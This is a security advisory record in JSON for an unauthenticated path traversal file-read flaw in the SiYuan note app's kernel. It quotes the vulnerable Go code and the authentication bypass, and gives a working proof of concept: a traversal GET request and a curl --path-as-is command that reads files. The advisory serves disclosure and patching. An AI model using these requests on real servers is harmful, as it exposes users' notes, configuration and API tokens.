{"schema_version":"1.7.5","id":"GHSA-hhgj-gg9h-rjp7","published":"2026-03-20T20:43:20Z","modified":"2026-03-25T19:47:17.043287Z","aliases":["CVE-2026-33476","GO-2026-4802"],"summary":"Siyuan has an Unauthenticated Arbitrary File Read via Path Traversal","details":"##  Summary\n\nThe Siyuan kernel exposes an unauthenticated file-serving endpoint under **/appearance/*filepath.**\nDue to improper path sanitization, attackers can perform directory traversal and read arbitrary files accessible to the server process.\n\nAuthentication checks explicitly exclude this endpoint, allowing exploitation without valid credentials.\n\n## Details\n\nVulnerable Code Location\n\n**File: kernel/server/serve.go**\n\n``` sh\nsiyuan.GET(\"/appearance/*filepath\", func(c *gin.Context) {\n    filePath := filepath.Join(\n        appearancePath,\n        strings.TrimPrefix(c.Request.URL.Path, \"/appearance/\")\n    )\n    ...\n    c.File(filePath)\n})\n```\n\n\n**Technical Root Cause**\n\nThe handler constructs a filesystem path by joining a base directory (appearancePath) with user-controlled URL segments.\n\n**Key issues:**\n\n**1. Unsanitized User Input**\n\nThe path component extracted from the request is not validated or normalized to prevent traversal.\n\n``` sh\nstrings.TrimPrefix(c.Request.URL.Path, \"/appearance/\")\n``` \n\nThis preserves sequences such as:\n\n``` sh\n../\n..\\ (Windows)\n```\n\n**2. Unsafe Path Joining**\n\n**_filepath.Join()_** does not enforce directory confinement.\n\nThis escapes the intended directory.\n\n**3. Direct File Serving**\n\nThe resolved path is served without verification:\n\n``` sh\nc.File(filePath)\n``` \n\n### Authentication Bypass (Unauthenticated Access)\n\nAuthentication middleware explicitly skips /appearance/ requests.\n\n**File: session.go**\n``` sh\nif strings.HasPrefix(c.Request.RequestURI, \"/appearance/\") ||\n    strings.HasPrefix(c.Request.RequestURI, \"/stage/build/export/\") ||\n    strings.HasPrefix(c.Request.RequestURI, \"/stage/protyle/\") {\n    c.Next()\n    return\n}\n```\nThis allows attackers to access the vulnerable endpoint without a session or token.\n\n### Exploitation Scenario\n\nA remote attacker can craft a URL containing directory traversal sequences to read files accessible to the Siyuan process.\n\nExample request:\n\n```\nGET /appearance/../../data/conf.json HTTP/1.1\nHost: target\n\n```\nBecause authentication is bypassed, the attack requires no credentials.\n\n\n\n\n## PoC\n\n**Step 1 — Create marker file**\n\n```\nmkdir -p ./workspace/data\necho POC_EXPLOITED > ./workspace/data/poc_exploit.txt\n```\n\n**Step 2 — Run SiYuan container**\n\n```\ndocker run -d \\\n  -p 6806:6806 \\\n  -e SIYUAN_ACCESS_AUTH_CODE_BYPASS=true \\\n  -v $(pwd)/workspace:/siyuan/workspace \\\n  b3log/siyuan \\\n  --workspace=/siyuan/workspace\n\n```\n\n**Step 3 — Confirm service works**\n\nOpen in browser:\n\n``` sh\nhttp://127.0.0.1:6806\n```\n\n### Exploit PoC\n**Method A — using CURL command**\n\nUse --path-as-is so curl does NOT normalize ../.\n\n``` sh\ncurl -v --path-as-is \\\n  \"http://127.0.0.1:6806/appearance/../../data/poc_exploit.txt\"\n```\n\n**Output** \n\n``` sh\nHTTP/1.1 200 OK\nPOC_EXPLOITED\n```\n\n**Method B — Using Browser**\n\n``` sh\nhttp://127.0.0.1:6806/appearance/../../data/poc_exploit.txt\n```\n\nIf **method B** is not working, use **method A**, which is  CURL command to do the exploit\n\n\n### Impact\n\nAn unauthenticated attacker can read arbitrary files accessible to the server process, including:\n\n- Workspace configuration files\n- User notes and stored data\n- API tokens and secrets\n- Local system files (depending on permissions)\n\nThis may lead to:\n\n- Sensitive information disclosure\n- Credential leakage\n- Further compromise through exposed secrets","affected":[{"package":{"name":"github.com/siyuan-note/siyuan/kernel","ecosystem":"Go","purl":"pkg:golang/github.com/siyuan-note/siyuan/kernel"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"0.0.0-20260317012524-fe4523fff2c8"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-hhgj-gg9h-rjp7/GHSA-hhgj-gg9h-rjp7.json"}}],"references":[{"type":"WEB","url":"https://github.com/siyuan-note/siyuan/security/advisories/GHSA-hhgj-gg9h-rjp7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33476"},{"type":"WEB","url":"https://github.com/siyuan-note/siyuan/commit/009bb598b3beccc972aa5f1ed88b3b224326bf2a"},{"type":"PACKAGE","url":"https://github.com/siyuan-note/siyuan"}],"database_specific":{"cwe_ids":["CWE-22","CWE-73"],"github_reviewed":true,"github_reviewed_at":"2026-03-20T20:43:20Z","nvd_published_at":"2026-03-20T23:16:48Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}]}